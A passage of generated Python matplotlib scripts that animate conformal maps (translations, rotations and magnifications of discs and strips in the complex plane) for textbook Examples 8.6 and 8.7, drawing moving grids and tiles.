TITLE = '$\\mathrm{translate},\\ \\mathrm{rotate},\\ \\mathrm{magnify},\\ \\mathrm{translate},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (0, 2, -1, 1, 5, 5)
AVOID = []
EXTRAS = [('1+np.exp(2j*pi*u)', 'tab:green')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A disc onto a disc: $1.5\,i(z-1)+(-1+i)$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Example 8.6, p. 43 (ch08:139) -- values chosen here: $z_0=1$, $r=1$, $w_0=-1+i$, $R=1.5$, $\alpha=\pi/2$
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.exp(1j*pi/2*seg(s,.25,.5)) * 1.5**seg(s,.5,.75) * (z - seg(s,0,.25)) + (-1+1j)*seg(s,.75,1)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'move $z_0$ to $0$, rotate by $\\alpha$, magnify by $R/r$, move $0$ to $w_0$: $D(z_0,r)$ onto $D(w_0,R)$'
TITLE = '$\\mathrm{translate},\\ \\mathrm{rotate},\\ \\mathrm{magnify},\\ \\mathrm{translate},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (0, 2, -1, 1, 4, 4)
HILITE = [5, 10]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A strip onto a strip: $-2iz+1$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Example 8.7, p. 43 (ch08:149)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (-2j*z + 1)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'every point moves in a straight line from $z$ to $-2iz+1$'
TITLE = '$w=(1-s)\\,z+s\\,(-2iz+1),\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1.5, 1.5, 0, 1, 7, 5)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A strip onto a strip: $-2iz+1$ -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Example 8.7, p. 43 (ch08:149)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.exp(-1j*pi/2*seg(s,0,1/3)) * 2**seg(s,1/3,2/3) * z + seg(s,2/3,1)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'rotate by $-90^\\circ$, magnify by $2$, translate by $1$:\n$0<\\mathrm{Im}\\,z<1$ onto $1<\\mathrm{Re}\\,w<3$'
TITLE = '$\\mathrm{rotate},\\ \\mathrm{magnify},\\ \\mathrm{translate},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1.5, 1.5, 0, 1, 7, 5)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""A strip onto a strip: $-2iz+1$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: Example 8.7, p. 43 (ch08:149)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: np.exp(-1j*pi/2*seg(s,0,1/3)) * 2**seg(s,1/3,2/3) * z + seg(s,2/3,1)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'rotate by $-90^\\circ$, magnify by $2$, translate by $1$: $0<\\mathrm{Im}\\,z<1$ onto $1<\\mathrm{Re}\\,w<3$'
TITLE = '$\\mathrm{rotate},\\ \\mathrm{magnify},\\ \\mathrm{translate},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'cart', (-1.5, 1.5, 0, 1, 6, 2)
HILITE = [2, 9]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
